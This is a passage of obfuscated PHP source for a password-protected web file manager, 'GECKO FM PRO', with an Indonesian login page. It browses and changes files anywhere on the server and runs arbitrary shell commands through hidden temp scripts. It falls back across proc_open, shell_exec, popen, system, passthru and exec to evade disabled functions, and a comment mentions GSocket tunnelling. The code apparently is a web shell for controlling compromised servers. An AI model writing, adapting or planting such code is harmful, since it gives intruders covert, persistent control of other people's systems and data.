        if (session_status() === PHP_SESSION_NONE) {
            @session_start();
        }
    } elseif (session_id() === '') {
        @session_start();
    }

    return function_exists('session_status')
        ? (session_status() === PHP_SESSION_ACTIVE)
        : (session_id() !== '');
}

function _gb9014f6()
{
    if (!GECKO_AUTH_ENABLED) {
        return true;
    }
    _g33cbe83();
    return !empty($_SESSION[GECKO_AUTH_SESSION_KEY]);
}

function _g86e1de5($password)
{
    if (!function_exists('password_verify')) {
        return false;
    }
    return password_verify((string)$password, GECKO_AUTH_HASH);
}

function _gb5e2ca4($password)
{
    _g33cbe83();
    $lockUntil = isset($_SESSION['gecko_auth_lock']) ? (int)$_SESSION['gecko_auth_lock'] : 0;
    if ($lockUntil > time()) {
        return array('ok' => false, 'error' => 'Too many attempts. Wait ' . ($lockUntil - time()) . 's.');
    }
    if (_g86e1de5($password)) {
        if (function_exists('session_regenerate_id')) {
            @session_regenerate_id(true);
        }
        $_SESSION[GECKO_AUTH_SESSION_KEY] = 1;
        $_SESSION['gecko_auth_fails'] = 0;
        unset($_SESSION['gecko_auth_lock']);
        if (function_exists('session_write_close')) {
            @session_write_close();
            _g33cbe83();
        }
        return array('ok' => true);
    }
    $fails = isset($_SESSION['gecko_auth_fails']) ? (int)$_SESSION['gecko_auth_fails'] + 1 : 1;
    $_SESSION['gecko_auth_fails'] = $fails;
    if ($fails >= GECKO_AUTH_MAX_FAILS) {
        $_SESSION['gecko_auth_lock'] = time() + GECKO_AUTH_LOCK_SECONDS;
        $_SESSION['gecko_auth_fails'] = 0;
        return array('ok' => false, 'error' => 'Too many attempts. Locked ' . GECKO_AUTH_LOCK_SECONDS . 's.');
    }
    return array('ok' => false, 'error' => 'Invalid password');
}

function _gd877120()
{
    _g33cbe83();
    unset($_SESSION[GECKO_AUTH_SESSION_KEY]);
    $_SESSION['gecko_auth_fails'] = 0;
    unset($_SESSION['gecko_auth_lock']);
}

function _g296ce19($error = '', $subtitle = '')
{
    $sub = $subtitle !== '' ? $subtitle : 'Kata sandi diperlukan · bcrypt';
    $errHtml = $error !== '' ? '<div class="login-err">' . htmlspecialchars($error, ENT_QUOTES, 'UTF-8') . '</div>' : '';
    header('Content-Type: text/html; charset=utf-8');
    header('X-Robots-Tag: noindex, nofollow');
    echo '<!DOCTYPE html><html lang="id"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">';
    echo '<meta name="robots" content="noindex"><title>Gecko · Masuk</title>';
    echo '<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 32 32\'%3E%3Crect width=\'32\' height=\'32\' rx=\'6\' fill=\'%23050608\'/%3E%3Cpath d=\'M8 12l4 4-4 4M16 20h8\' stroke=\'%23f5b942\' stroke-width=\'2.5\' fill=\'none\' stroke-linecap=\'round\' stroke-linejoin=\'round\'/%3E%3C/svg%3E">';
    echo '<link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>';
    echo '<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">';
    echo '<style>
*{box-sizing:border-box;margin:0;padding:0}
body{min-height:100vh;display:flex;align-items:center;justify-content:center;
font-family:"Inter",-apple-system,system-ui,sans-serif;font-size:13.5px;color:#f5f1e8;
-webkit-font-smoothing:antialiased;
background:radial-gradient(ellipse 900px 600px at 8% -5%,rgba(245,185,66,.10),transparent 60%),
radial-gradient(ellipse 700px 500px at 100% 102%,rgba(168,115,14,.08),transparent 60%),#050608}
.card{width:min(400px,92vw);padding:28px 26px 24px;border-radius:16px;
background:linear-gradient(180deg,#101216,#0a0b0e);border:1px solid rgba(245,185,66,.22);
box-shadow:0 24px 60px rgba(0,0,0,.55),0 1px 0 rgba(255,255,255,.03) inset}
.brand{display:flex;align-items:center;gap:12px;margin-bottom:22px}
.mark{width:40px;height:40px;border-radius:10px;display:grid;place-items:center;
background:rgba(245,185,66,.12);border:1px solid rgba(245,185,66,.35);color:#f5b942;font-weight:700;font-size:16px}
h1{font-size:18px;font-weight:600;letter-spacing:-.01em}
h1 span{color:#f5b942;font-size:9px;font-weight:600;letter-spacing:.08em;padding:1px 5px;border-radius:3px;
background:rgba(245,185,66,.10);border:1px solid rgba(245,185,66,.24);vertical-align:middle;margin-left:6px}
p{margin-top:4px;font-size:12px;color:#8a8578}
label{display:block;font-size:12px;color:#d8d3c4;margin:0 0 8px;font-weight:500}
input[type=password]{width:100%;padding:12px 14px;border-radius:10px;border:1px solid rgba(245,241,232,.06);
background:#161920;color:#f5f1e8;font-size:14px;outline:none;transition:border-color .15s,box-shadow .15s}
input[type=password]:focus{border-color:rgba(245,185,66,.42);box-shadow:0 0 0 3px rgba(245,185,66,.10)}
button{margin-top:14px;width:100%;padding:12px 14px;border:1px solid rgba(245,185,66,.42);border-radius:10px;cursor:pointer;
background:linear-gradient(180deg,#ffd76e,#f5b942);color:#1a1408;font-weight:600;font-size:14px;
box-shadow:0 1px 0 rgba(255,255,255,.18) inset,0 1px 2px rgba(0,0,0,.3)}
button:hover{filter:brightness(1.04)}
.login-err{margin-bottom:12px;padding:10px 12px;border-radius:8px;font-size:12.5px;
background:rgba(248,113,113,.1);border:1px solid rgba(248,113,113,.28);color:#f87171}
.hint{margin-top:14px;font-size:11px;color:#61605a;text-align:center}
</style></head><body><div class="card">
<div class="brand"><div class="mark">G</div><div><h1>GECKO FM <span>PRO</span></h1><p>' . htmlspecialchars($sub, ENT_QUOTES, 'UTF-8') . '</p></div></div>
' . $errHtml . '
<form method="post" autocomplete="off">
<label for="gecko_login_pass">Kata sandi</label>
<input type="password" id="gecko_login_pass" name="gecko_login_pass" autofocus required autocomplete="current-password">
<button type="submit">Buka</button>
</form>
<p class="hint">Autentikasi sesi · kata sandi diverifikasi dengan bcrypt</p>
</div></body></html>';
}

function gecko_fm_script()
{
    if (_gfif(__DIR__ . DIRECTORY_SEPARATOR . 'fm_pro.php')) {
        return 'fm_pro.php';
    }
    if (_gfif(__DIR__ . DIRECTORY_SEPARATOR . 'index.php')) {
        return 'index.php';
    }
    return 'fm_pro.php';
}

if (!empty($GLOBALS['GECKO_AUTH_BOOTSTRAP_ONLY'])) {
    return;
}

function _g49326eb($data, $code = 200)
{
    if (!headers_sent()) {
        http_response_code((int)$code);
        header('Content-Type: application/json; charset=utf-8');
    }
    $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
    if (defined('JSON_INVALID_UTF8_SUBSTITUTE')) {
        $flags |= JSON_INVALID_UTF8_SUBSTITUTE;
    } elseif (defined('JSON_PARTIAL_OUTPUT_ON_ERROR')) {
        $flags |= JSON_PARTIAL_OUTPUT_ON_ERROR;
    }
    $json = @json_encode($data, $flags);
    if ($json === false || $json === '') {
        http_response_code(500);
        $json = '{"ok":false,"error":"JSON encode failed"}';
    }
    echo $json;
    exit;
}

/** Parse JSON or form body for API requests. */
function _g2047959()
{
    if (isset($GLOBALS['gecko_api_input']) && is_array($GLOBALS['gecko_api_input'])) {
        return $GLOBALS['gecko_api_input'];
    }

    $input = array();
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!empty($_POST) && is_array($_POST)) {
            $input = $_POST;
        } else {
            $raw = @_gfgc('php://input');
            if ($raw !== false && trim($raw) !== '') {
                $decoded = json_decode($raw, true);
                if (is_array($decoded)) {
                    $input = $decoded;
                }
            }
        }
    }

    if (!isset($input['action']) && isset($_GET['action'])) {
        $input['action'] = $_GET['action'];
    }

    $GLOBALS['gecko_api_input'] = $input;
    return $input;
}

function _g67988fc($path)
{
    $path = (string)$path;
    // Decode URL encoded path first
    $path = urldecode($path);

    // Handle Windows paths (C:/, D:/, etc)
    if (preg_match('/^[A-Za-z]:/', $path)) {
        // Normalize slashes
        $path = str_replace('\\', '/', $path);
        // Fix double slashes
        $path = preg_replace('#/+#', '/', $path);
        // Ensure format like C:/path/to/folder
        $path = preg_replace('/^([A-Za-z]:)\/*/', '$1/', $path);
        return $path;
    }

    // Handle absolute Linux paths
    if (strlen($path) > 0 && $path[0] === '/') {
        $path = preg_replace('#/+#', '/', $path);
        return $path;
    }

    // Original relative path logic
    $path = str_replace(array('\\', "\0"), array('/', ''), $path);
    $path = trim($path, '/');
    $parts = array_filter(explode('/', $path), function($p) {
        return $p !== '' && $p !== '.';
    });
    $clean = array();
    foreach ($parts as $part) {
        if ($part === '..') { array_pop($clean); continue; }
        if (preg_match('/[\x00-\x1f]/', $part)) continue;
        $clean[] = $part;
    }
    return implode('/', $clean);
}

/**
 * Resolve an absolute filesystem path (Windows drive or Unix root).
 *
 * @return string|null
 */
function _gca23e12($rel, $mustExist)
{
    $full = preg_match('/^[A-Za-z]:\//', $rel)
        ? str_replace('/', DIRECTORY_SEPARATOR, $rel)
        : $rel;

    if ($mustExist) {
        $real = _gfrp($full);
        return ($real !== false) ? $real : null;
    }

    if (_gfid($full) || _gfid(dirname($full))) {
        return $full;
    }
    return null;
}

/** True if $resolved path is inside or equal to $baseDir (string comparison on normalized paths). */
function _g92a73a9($resolved, $baseDir)
{
    return strpos(_ge1732fc($resolved), _ge1732fc($baseDir)) === 0;
}

function _g51c64cf($baseDir, $relPath, $mustExist = true)
{
    $rel = _g67988fc($relPath);

    if (preg_match('/^[A-Za-z]:\//', $rel) || (strlen($rel) > 0 && $rel[0] === '/')) {
        return _gca23e12($rel, $mustExist);
    }

    $full = ($rel === '')
        ? $baseDir
        : $baseDir . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel);

    if ($mustExist) {
        $real = _gfrp($full);
    } elseif (_gfif($full) || _gfid($full)) {
        $real = _gfrp($full);
    } else {
        $real = null;
    }

    if ($real === false || $real === null) {
        if (!$mustExist) {
            $parentReal = _gfrp(dirname($full));
            if ($parentReal && _g92a73a9($parentReal, $baseDir)) {
                return $full;
            }
        }
        return null;
    }

    return _g92a73a9($real, $baseDir) ? $real : null;
}

function _g1967d94($bytes, $compact = false)
{
    $bytes = max(0, (int)$bytes);
    if ($compact) {
        if ($bytes < 1024) return $bytes . 'B';
        if ($bytes < 1048576) return round($bytes / 1024, 1) . 'K';
        return round($bytes / 1048576, 1) . 'M';
    }
    if ($bytes < 1024) return $bytes . ' B';
    $units = array('KB', 'MB', 'GB', 'TB');
    $v = $bytes / 1024;
    foreach ($units as $u) {
        if ($v < 1024) return number_format($v, $v >= 100 ? 0 : 1) . ' ' . $u;
        $v /= 1024;
    }
    return number_format($v, 1) . ' PB';
}

function _gc5a1f21($input)
{
    $paths = _gc9f029d($input, 'paths', array());
    if (is_string($paths)) {
        $decoded = json_decode($paths, true);
        $paths = is_array($decoded) ? $decoded : array($paths);
    }
    if (!is_array($paths)) $paths = array();
    $out = array();
    foreach ($paths as $p) {
        if ($p === null || $p === '') continue;
        $out[] = (string)$p;
    }
    return $out;
}

function _g34a00ab($path, $baseDir)
{
    $real = @_gfrp($path);
    if (!$real) return false;
    return _gfa2ddb4(_ge1732fc($real), _g83c0a4c($baseDir));
}

function _g27c4234($dir, $baseDir)
{
    $guard = _g83c0a4c($baseDir);
    $dirReal = @_gfrp($dir);
    if (!$dirReal) return false;
    $dirNorm = _ge1732fc($dirReal);
    $dirPrefix = $dirNorm . '/';

    if ($guard['self'] !== '' && strpos($guard['self'] . '/', $dirPrefix) === 0) {
        return true;
    }
    if ($guard['base'] !== '') {
        $baseNorm = $guard['base'];
        if ($baseNorm . '/' === $dirPrefix || $baseNorm === rtrim($dirNorm, '/')) {
            return true;
        }
    }

    $stack = array($dirReal);
    $scanned = 0;
    $maxScan = 50000;

    while (!empty($stack) && $scanned < $maxScan) {
        $current = array_pop($stack);
        $h = @_gfod($current);
        if (!$h) {
            continue;
        }
        while (($item = _gfrd2($h)) !== false) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $sub = $current . DIRECTORY_SEPARATOR . $item;
            $subReal = @_gfrp($sub);
            if ($subReal) {
                if (_gfa2ddb4(_ge1732fc($subReal), $guard)) {
                    _gfcd($h);
                    return true;
                }
            } elseif (_g34a00ab($sub, $baseDir)) {
                _gfcd($h);
                return true;
            }
            if (_gfid($sub) && !is_link($sub)) {
                $stack[] = $sub;
            }
        }
        _gfcd($h);
        $scanned++;
    }
    return false;
}

function _g449f0b5($path)
{
    if (_gfif($path) || is_link($path)) return @_gfun($path);
    if (!_gfid($path)) return false;
    $items = @_gfsc($path);
    if ($items === false) return false;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        if (!_g449f0b5($path . DIRECTORY_SEPARATOR . $item)) return false;
    }
    return @_gfrm($path);
}

function _g34d0911($src, $dest)
{
    if (_gfif($src) || is_link($src)) {
        $dir = dirname($dest);
        if (!_gfid($dir) && !@_gfmd($dir, 0755, true)) return false;
        return @_gfcp($src, $dest);
    }
    if (!_gfid($src)) return false;
    if (!_gfid($dest) && !@_gfmd($dest, 0755, true)) return false;
    $items = @_gfsc($src);
    if ($items === false) return false;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        if (!_g34d0911($src . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item)) return false;
    }
    return true;
}

function _g6d80221($destDir, $basename)
{
    if (!_gfex($destDir . DIRECTORY_SEPARATOR . $basename)) return $basename;
    $name = pathinfo($basename, PATHINFO_FILENAME);
    $ext = pathinfo($basename, PATHINFO_EXTENSION);
    $suffix = $ext !== '' ? '.' . $ext : '';
    for ($i = 1; $i < 1000; $i++) {
        $candidate = $name . ' (' . $i . ')' . $suffix;
        if (!_gfex($destDir . DIRECTORY_SEPARATOR . $candidate)) return $candidate;
    }
    return $name . ' (' . time() . ')' . $suffix;
}

function _geb56cf4($parent, $child)
{
    $p = _ge1732fc(@_gfrp($parent));
    $c = _ge1732fc(@_gfrp($child));
    if ($p === '' || $c === '') return false;
    if ($p === $c) return true;
    return strpos($c . '/', $p . '/') === 0;
}

/** @return string|null */
function _g5fa969f($baseDir, $destRel)
{
    $destDir = _g51c64cf($baseDir, $destRel);
    if (!$destDir || !_gfid($destDir)) {
        return null;
    }
    return $destDir;
}

/**
 * Validate a batch source path for copy/move/zip.
 *
 * @return array{ok:bool, src?:string, fail?:array}
 */
function _g0dcc859($baseDir, $rel, $destDir, $intoSelfError)
{
    $rel = (string)$rel;
    $src = _g51c64cf($baseDir, $rel);
    if (!$src) {
        return array('ok' => false, 'fail' => array('path' => $rel, 'error' => 'Source not found'));
    }
    if (_g34a00ab($src, $baseDir)) {
        return array('ok' => false, 'fail' => array('path' => $rel, 'error' => 'Protected path'));
    }
    if ($destDir !== null && _geb56cf4($src, $destDir)) {
        return array('ok' => false, 'fail' => array('path' => $rel, 'error' => $intoSelfError));
    }
    return array('ok' => true, 'src' => $src);
}

function _gaea41bb($successList, $failed, $successKey)
{
    return array(
        'ok' => count($successList) > 0,
        'count' => count($successList),
        $successKey => $successList,
        'failed' => $failed,
        'error' => count($successList) === 0 && count($failed) > 0 ? $failed[0]['error'] : '',
    );
}

function _g654a6a9($baseDir, $paths, $destRel)
{
    $destDir = _g5fa969f($baseDir, $destRel);
    if ($destDir === null) {
        return array('ok' => false, 'error' => 'Invalid destination folder');
    }
    $copied = array();
    $failed = array();
    foreach ($paths as $rel) {
        $check = _g0dcc859($baseDir, $rel, $destDir, 'Cannot copy into itself');
        if (!$check['ok']) {
            $failed[] = $check['fail'];
            continue;
        }
        $src = $check['src'];
        $bn = basename($src);
        $targetName = _g6d80221($destDir, $bn);
        $dest = $destDir . DIRECTORY_SEPARATOR . $targetName;
        if (_g34d0911($src, $dest)) {
            $copied[] = array('from' => $rel, 'to' => $targetName);
        } else {
            $failed[] = array('path' => $rel, 'error' => 'Copy failed');
        }
    }
    return _gaea41bb($copied, $failed, 'copied');
}

function _g5884064($baseDir, $paths, $destRel)
{
    $destDir = _g5fa969f($baseDir, $destRel);
    if ($destDir === null) {
        return array('ok' => false, 'error' => 'Invalid destination folder');
    }
    $moved = array();
    $failed = array();
    foreach ($paths as $rel) {
        $check = _g0dcc859($baseDir, $rel, $destDir, 'Cannot move into itself');
        if (!$check['ok']) {
            $failed[] = $check['fail'];
            continue;
        }
        $src = $check['src'];
        $srcParent = dirname($src);
        $bn = basename($src);
        if (_ge1732fc($srcParent) === _ge1732fc($destDir)) {
            $failed[] = array('path' => $rel, 'error' => 'Already in destination');
            continue;
        }
        $targetName = _g6d80221($destDir, $bn);
        $dest = $destDir . DIRECTORY_SEPARATOR . $targetName;
        $ok = @_gfrn($src, $dest);
        if (!$ok) {
            if (_g34d0911($src, $dest)) {
                $ok = _g449f0b5($src);
            }
            if (!$ok && _gfex($dest)) {
                @_g449f0b5($dest);
            }
        }
        if ($ok) {
            $moved[] = array('from' => $rel, 'to' => $targetName);
        } else {
            $failed[] = array('path' => $rel, 'error' => 'Move failed');
        }
    }
    return _gaea41bb($moved, $failed, 'moved');
}

function _g9486c06($zip, $path, $prefixInZip)
{
    $stack = array(array($path, $prefixInZip));
    while (!empty($stack)) {
        $item = array_pop($stack);
        $path = $item[0];
        $prefixInZip = $item[1];

        if (_gfif($path)) {
            if (!$zip->addFile($path, _ge1732fc($prefixInZip))) {
                return false;
            }
            continue;
        }
        if (!_gfid($path)) {
            return false;
        }
        if ($prefixInZip !== '') {
            $zip->addEmptyDir(_ge1732fc($prefixInZip));
        }
        $items = @_gfsc($path);
        if ($items === false) {
            return false;
        }
        foreach ($items as $entry) {
            if ($entry === '.' || $entry === '..') {
                continue;
            }
            $sub = $path . DIRECTORY_SEPARATOR . $entry;
            $inner = ($prefixInZip === '') ? $entry : $prefixInZip . '/' . $entry;
            if (_gfid($sub)) {
                $stack[] = array($sub, $inner);
            } elseif (!$zip->addFile($sub, _ge1732fc($inner))) {
                return false;
            }
        }
    }
    return true;
}

function _g32e218b($baseDir, $paths, $destRel, $zipName)
{
    if (!class_exists('ZipArchive')) {
        return array('ok' => false, 'error' => 'ZipArchive extension not available on this server');
    }
    $destDir = _g5fa969f($baseDir, $destRel);
    if ($destDir === null) {
        return array('ok' => false, 'error' => 'Invalid destination folder');
    }
    $zipName = basename(_ge1732fc((string)$zipName));
    if ($zipName === '' || !preg_match('/\.zip$/i', $zipName)) {
        $zipName = 'archive-' . date('Ymd-His') . '.zip';
    }
    if (!preg_match('/^[\w\.\-\(\) ]+\.zip$/i', $zipName)) {
        return array('ok' => false, 'error' => 'Invalid zip filename');
    }
    $zipPath = $destDir . DIRECTORY_SEPARATOR . $zipName;
    if (_gfex($zipPath)) {
        $zipName = _g6d80221($destDir, $zipName);
        $zipPath = $destDir . DIRECTORY_SEPARATOR . $zipName;
    }
    $zip = new ZipArchive();
    if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
        return array('ok' => false, 'error' => 'Cannot create zip file');
    }
    $added = 0;
    $failed = array();
    foreach ($paths as $rel) {
        $check = _g0dcc859($baseDir, $rel, null, '');
        if (!$check['ok']) {
            $failed[] = $check['fail'];
            continue;
        }
        $src = $check['src'];
        $rootName = basename($src);
        if (_g9486c06($zip, $src, $rootName)) {
            $added++;
        } else {
            $failed[] = array('path' => $rel, 'error' => 'Failed to add to zip');
        }
    }
    $zip->close();
    if ($added === 0) {
        @_gfun($zipPath);
        return array('ok' => false, 'error' => 'Nothing added to archive', 'failed' => $failed);
    }
    return array(
        'ok' => true,
        'count' => $added,
        'zip' => $zipName,
        'path' => $zipPath,
        'failed' => $failed,
    );
}

/** Reject zip-slip and absolute entries; returns normalized name or false. */
function _gead55ef($name)
{
    if ($name === false || $name === '') {
        return false;
    }
    $name = _ge1732fc($name);
    if ($name[0] === '/') {
        return false;
    }
    if (strpos($name, '../') !== false || strpos($name, '/../') !== false) {
        return false;
    }
    return $name;
}

/** Ensure extracted file path stays under destination directory. */
function _g82f06c4($targetPath, $destReal)
{
    $destNorm = _ge1732fc($destReal);
    $parent = _gfrp(dirname($targetPath));
    $parentNorm = ($parent !== false)
        ? _ge1732fc($parent)
        : _ge1732fc(dirname($targetPath));

    return strpos($parentNorm, $destNorm) === 0 || $parentNorm === $destNorm;
}

function _g53dbd64($baseDir, $zipRel, $destRel)
{
    if (!class_exists('ZipArchive')) {
        return array('ok' => false, 'error' => 'ZipArchive extension not available on this server');
    }
    $zipPath = _g51c64cf($baseDir, (string)$zipRel);
    if (!$zipPath || !_gfif($zipPath)) {
        return array('ok' => false, 'error' => 'Zip file not found');
    }
    if (strtolower(pathinfo($zipPath, PATHINFO_EXTENSION)) !== 'zip') {
        return array('ok' => false, 'error' => 'Not a .zip file');
    }
    $destDir = _g51c64cf($baseDir, $destRel !== '' ? $destRel : dirname(_ge1732fc($zipRel)));
    if (!$destDir || !_gfid($destDir)) {
        return array('ok' => false, 'error' => 'Invalid destination folder');
    }
    $zip = new ZipArchive();
    if ($zip->open($zipPath) !== true) {
        return array('ok' => false, 'error' => 'Cannot open zip file');
    }
    $destReal = _gfrp($destDir);
    if ($destReal === false) {
        $zip->close();
        return array('ok' => false, 'error' => 'Invalid destination folder');
    }
    $numFiles = $zip->numFiles;
    for ($i = 0; $i < $numFiles; $i++) {
        $name = _gead55ef($zip->getNameIndex($i));
        if ($name === false) {
            $zip->close();
            return array('ok' => false, 'error' => 'Unsafe zip entry blocked');
        }
        $target = $destReal . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $name);
        if (!_g82f06c4($target, $destReal)) {
            $zip->close();
            return array('ok' => false, 'error' => 'Zip slip detected');
        }
    }
    if (!$zip->extractTo($destReal)) {
        $zip->close();
        return array('ok' => false, 'error' => 'Extract failed');
    }
    $zip->close();
    $defaultDest = dirname(_ge1732fc($zipRel));
    return array('ok' => true, 'count' => $numFiles, 'dest' => $destRel !== '' ? $destRel : $defaultDest);
}

function _g7214bdc($name, $dir)
{
    if ($dir) return 'folder';
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    $iconMap = _g47f487f();
    return isset($iconMap[$ext]) ? $iconMap[$ext] : 'file';
}

function _g0fe34a3($path, $sniffUnknown = true)
{
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    if (_g66d4e3f($ext)) {
        return true;
    }
    if (!$sniffUnknown) {
        return false;
    }
    $size = _gfsz($path);
    if ($size === false || $size > 512000) return false;
    $fh = @_gfop($path, 'rb');
    if (!$fh) return false;
    $chunk = _gfrd($fh, 8192);
    _gfcl($fh);
    return $chunk !== false && !preg_match('/[\x00-\x08\x0e-\x1f]/', $chunk);
}

function _g2439921($dir)
{
    $items = array();
    $h = @_gfod($dir);
    if (!$h) return $items;
    while (($name = _gfrd2($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        $isDir = _gfid($full);
        $perm = substr(sprintf('%o', fileperms($full)), -4);
        $sz = @_gfsz($full);
        $mt = @_gfmt($full);
        $items[] = array(
            'name' => $name,
            'is_dir' => $isDir,
            'size' => $isDir ? null : (int)($sz ? $sz : 0),
            'modified' => (int)($mt ? $mt : time()),
            'icon' => _g7214bdc($name, $isDir),
            'perm' => $perm,
            'editable' => !$isDir && _g0fe34a3($full, false),
        );
    }
    _gfcd($h);
    usort($items, function ($a, $b) {
        if ($a['is_dir'] !== $b['is_dir']) return $a['is_dir'] ? -1 : 1;
        return strcasecmp($a['name'], $b['name']);
    });
    return $items;
}

/**
 * Run a command by writing it to a temp .sh then: bash /tmp/xxx.sh
 * More reliable than inline complex quoting (needed for GSocket when only proc_open works).
 */
function _gfe4b0fe($scriptBody, $cwd = null, $timeoutSec = 120)
{
    $cwd = $cwd ? $cwd : (isset($GLOBALS['baseDir']) ? $GLOBALS['baseDir'] : sys_get_temp_dir());
    $timeoutSec = max(1, (int)$timeoutSec);
    $tmpDir = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp';
    $tmp = rtrim(str_replace('\\', '/', $tmpDir), '/') . '/.gecko_sh_' . str_replace('.', '', uniqid('', true)) . '.sh';

    $body = "#!/bin/bash\nset +e\n";
    $body .= "cd " . _gb6799bc($cwd) . " 2>/dev/null || true\n";
    $body .= (string)$scriptBody . "\n";

    if (@_gfpc($tmp, $body) === false) {
        // fallback write under cwd
        $tmp = rtrim(str_replace('\\', '/', $cwd), '/') . '/.gecko_sh_' . str_replace('.', '', uniqid('', true)) . '.sh';
        if (@_gfpc($tmp, $body) === false) {
            return array(
                'output' => 'Cannot write temp shell script for execution.',
                'exit_code' => 1,
                'no_shell' => true,
                'method' => '',
            );
        }
    }
    @_gfch($tmp, 0700);

    // Simple command — works even when only proc_open is available
    // Prefer argv array (PHP 7.4+) so no outer-shell quoting breaks the path
    $cmd = 'bash ' . _gb6799bc($tmp);
    $cmdArgv = array('bash', $tmp);
    $result = null;

    // 1) proc_open direct
    if (_gf1b8d2a(7)) {
        $descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
        $pipes = array();
        $proc = false;
        // Try argv form first (no shell), then string form, then /bin/bash
        if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70400) {
            $proc = _gf823457($cmdArgv, $descriptors, $pipes, $cwd);
            if (!_g_proc_ok($proc)) {
                $pipes = array();
                $proc = _gf823457(array('/bin/bash', $tmp), $descriptors, $pipes, $cwd);
            }
        }
        if (!_g_proc_ok($proc)) {
            $pipes = array();
            $proc = _gf823457($cmd, $descriptors, $pipes, $cwd);
        }
        if (!_g_proc_ok($proc)) {
            $pipes = array();
            $proc = _gf823457('/bin/bash ' . _gb6799bc($tmp), $descriptors, $pipes, $cwd);
        }
        if (_g_proc_ok($proc)) {
            _gfcl($pipes[0]);
            stream_set_blocking($pipes[1], false);
            stream_set_blocking($pipes[2], false);
            $stdout = '';
            $stderr = '';
            $deadline = microtime(true) + $timeoutSec;
            while (true) {
                $status = _gf934568($proc);
                if (!is_array($status)) {
                    break;
                }
                $read = array();
                if (isset($pipes[1]) && _g_stream_ok($pipes[1])) $read[] = $pipes[1];
                if (isset($pipes[2]) && _g_stream_ok($pipes[2])) $read[] = $pipes[2];
                if (!empty($read)) {
                    $write = null;
                    $except = null;
                    $tv = max(0, min(0.25, $deadline - microtime(true)));
                    if (@stream_select($read, $write, $except, (int)$tv, (int)(($tv - (int)$tv) * 1000000)) > 0) {
                        foreach ($read as $r) {
                            $chunk = _gfrd($r, 8192);
                            if ($chunk === false || $chunk === '') continue;
                            if ($r === $pipes[1]) $stdout .= $chunk;
                            else $stderr .= $chunk;
                        }
                    }
                }
                if (!$status['running']) break;
                if (microtime(true) >= $deadline) {
                    _gfb5678a($proc, 9);
                    break;
                }
                usleep(50000);
            }
            if (isset($pipes[1]) && _g_stream_ok($pipes[1])) {
                $rest = stream_get_contents($pipes[1]);
                if ($rest) $stdout .= $rest;
                _gfcl($pipes[1]);
            }
            if (isset($pipes[2]) && _g_stream_ok($pipes[2])) {
                $rest = stream_get_contents($pipes[2]);
                if ($rest) $stderr .= $rest;
                _gfcl($pipes[2]);
            }
            $code = _gfa45679($proc);
            $sep = ($stdout !== '' && $stderr !== '') ? "\n" : '';
            $out = trim($stdout . $sep . $stderr);
            $result = array(
                'output' => ($out !== '' ? $out : (($code === 0) ? '(no output)' : '')),
                'exit_code' => (int)$code,
                'method' => 'proc_open+script',
            );
        }
    }

    // 2) other shell methods with simple "bash /tmp/x.sh"
    if ($result === null) {
        $result = _gfe4565a($cmd, $cwd, $timeoutSec);
        if (!empty($result['method'])) {
            $result['method'] = $result['method'] . '+script';
        }
    }

    @_gfun($tmp);
    return $result;
}

function _gfe4565a($command, $cwd, $timeoutSec = 120)
{
    $cwd = $cwd ? $cwd : '/tmp';
    $timeoutSec = max(1, (int)$timeoutSec);
    $full = _g911cb8b($command, $cwd);

    $tried = array();

    // shell_exec
    if (_gf1b8d2a(1)) {
        $tried[] = 'shell_exec';
        $out = _gf2c7e01($full . ' 2>&1');
        if ($out !== null) {
            return array(
                'output' => is_string($out) ? $out : '',
                'exit_code' => 0,
                'method' => 'shell_exec',
                'tried' => $tried,
            );
        }
        $tried[count($tried) - 1] = '_gf2c7e01(null)';
    }

    // popen
    if (_gf1b8d2a(5) && _gf1b8d2a(6)) {
        $tried[] = 'popen';
        $h = _gf600235($full . ' 2>&1', 'r');
        if (_g_stream_ok($h)) {
            $out = '';
            $deadline = microtime(true) + $timeoutSec;
            while (!feof($h) && microtime(true) < $deadline) {
                $chunk = @_gfrd($h, 8192);
                if ($chunk === false || $chunk === '') {
                    usleep(30000);
                    continue;
                }
                $out .= $chunk;
            }
            $code = _gf712346($h);
            return array(
                'output' => trim($out),
                'exit_code' => (int)$code,
                'method' => 'popen',
                'tried' => $tried,
            );
        }
        $tried[count($tried) - 1] = '_gf600235(fail)';
    }

    // system
    if (_gf1b8d2a(3)) {
        $tried[] = 'system';
        ob_start();
        $code = 1;
        _gf4e9013($full . ' 2>&1', $code);
        $out = ob_get_clean();
        return array(
            'output' => is_string($out) ? $out : '',
            'exit_code' => (int)$code,
            'method' => 'system',
            'tried' => $tried,
        );
    }

    // passthru
    if (_gf1b8d2a(4)) {
        $tried[] = 'passthru';
        ob_start();
        $code = 1;
        _gf5f0124($full . ' 2>&1', $code);
        $out = ob_get_clean();
        return array(
            'output' => is_string($out) ? $out : '',
            'exit_code' => (int)$code,
            'method' => 'passthru',
            'tried' => $tried,
        );
    }

    // exec
    if (_gf1b8d2a(2)) {
        $tried[] = 'exec';
        $lines = array();
        $code = 1;
        _gf3d8f12($full . ' 2>&1', $lines, $code);
        return array(
            'output' => implode("\n", $lines),
            'exit_code' => (int)$code,
            'method' => 'exec',
            'tried' => $tried,
        );
    }

    return array(
